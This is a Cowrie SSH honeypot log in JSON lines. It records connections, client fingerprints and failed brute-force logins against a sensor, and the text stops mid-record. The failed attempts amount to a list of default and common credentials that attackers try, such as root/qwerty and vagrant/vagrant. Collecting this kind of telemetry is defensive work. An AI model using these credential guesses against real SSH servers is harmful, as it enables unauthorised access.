{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:14.333608Z","src_ip":"91.92.40.171","session":"93382eac7c39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx","message":"login attempt [root/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:14.457422Z","src_ip":"91.92.42.133","session":"ec231a1926af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootrootroot","message":"login attempt [root/rootrootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:14.960348Z","src_ip":"91.92.40.171","session":"93382eac7c39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:15.796422Z","src_ip":"91.92.42.133","session":"ec231a1926af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:15.904491Z","src_ip":"91.92.40.171","session":"a7b3aba8bb59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:16.063360Z","src_ip":"91.92.40.171","session":"93382eac7c39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.121.214.50","src_port":55778,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d16605070c5","protocol":"ssh","message":"New connection: 117.121.214.50:55778 (10.17.0.5:22) [session: 5d16605070c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:17.295237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:17.300331Z","src_ip":"117.121.214.50","session":"5d16605070c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:17.539146Z","src_ip":"117.121.214.50","session":"5d16605070c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maya","password":"maya","message":"login attempt [maya/maya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:18.527382Z","src_ip":"117.121.214.50","session":"5d16605070c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":48094,"dst_ip":"159.203.135.109","dst_port":22,"session":"736566845315","protocol":"ssh","message":"New connection: 91.92.42.133:48094 (159.203.135.109:22) [session: 736566845315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:19.489312Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:19.770936Z","src_ip":"117.121.214.50","session":"5d16605070c5","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:20.057625Z","src_ip":"91.92.42.133","session":"736566845315","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:20.060865Z","src_ip":"91.92.42.133","session":"736566845315","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":59484,"dst_ip":"159.203.135.109","dst_port":22,"session":"ecf494ab0238","protocol":"ssh","message":"New connection: 91.92.40.171:59484 (159.203.135.109:22) [session: ecf494ab0238]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:20.193030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:20.253712Z","src_ip":"91.92.40.171","session":"ecf494ab0238","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:20.320563Z","src_ip":"91.92.40.171","session":"ecf494ab0238","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"dspace","message":"login attempt [dspace/dspace] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:20.726028Z","src_ip":"91.92.40.171","session":"ecf494ab0238","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:21.925743Z","src_ip":"91.92.40.171","session":"ecf494ab0238","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":40074,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a838f81679a","protocol":"ssh","message":"New connection: 27.71.230.31:40074 (10.17.0.5:22) [session: 6a838f81679a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:22.270588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:22.349845Z","src_ip":"27.71.230.31","session":"6a838f81679a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:22.633399Z","src_ip":"27.71.230.31","session":"6a838f81679a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"vagrant","message":"login attempt [vagrant/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:23.016799Z","src_ip":"91.92.42.133","session":"736566845315","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:24.357072Z","src_ip":"91.92.42.133","session":"736566845315","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admins1","message":"login attempt [root/Admins1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:24.730752Z","src_ip":"27.71.230.31","session":"6a838f81679a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:26.299611Z","src_ip":"27.71.230.31","session":"6a838f81679a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":57222,"dst_ip":"159.203.135.109","dst_port":22,"session":"72af42c08c6b","protocol":"ssh","message":"New connection: 91.92.40.171:57222 (159.203.135.109:22) [session: 72af42c08c6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:26.879205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:26.900976Z","src_ip":"91.92.40.171","session":"72af42c08c6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:27.009521Z","src_ip":"91.92.40.171","session":"72af42c08c6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty","message":"login attempt [root/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:27.412301Z","src_ip":"91.92.40.171","session":"72af42c08c6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":40016,"dst_ip":"159.203.135.109","dst_port":22,"session":"6136861dbf62","protocol":"ssh","message":"New connection: 91.92.42.133:40016 (159.203.135.109:22) [session: 6136861dbf62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:27.947214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:28.200788Z","src_ip":"91.92.42.133","session":"6136861dbf62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:28.208642Z","src_ip":"91.92.42.133","session":"6136861dbf62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:28.877841Z","src_ip":"91.92.40.171","session":"72af42c08c6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"root","message":"login attempt [developer/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:28.884866Z","src_ip":"91.92.42.133","session":"6136861dbf62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:30.035906Z","src_ip":"91.92.42.133","session":"6136861dbf62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":57280,"dst_ip":"159.203.135.109","dst_port":22,"session":"9bc3d38dc03c","protocol":"ssh","message":"New connection: 91.92.40.171:57280 (159.203.135.109:22) [session: 9bc3d38dc03c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:34.528755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:34.655416Z","src_ip":"91.92.40.171","session":"9bc3d38dc03c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:35.538043Z","src_ip":"91.92.40.171","session":"9bc3d38dc03c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":39584,"dst_ip":"159.203.135.109","dst_port":22,"session":"49ba5a1f4163","protocol":"ssh","message":"New connection: 91.92.42.133:39584 (159.203.135.109:22) [session: 49ba5a1f4163]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:35.824279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:43:35.924358Z","src_ip":"91.92.42.133","session":"49ba5a1f4163","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hm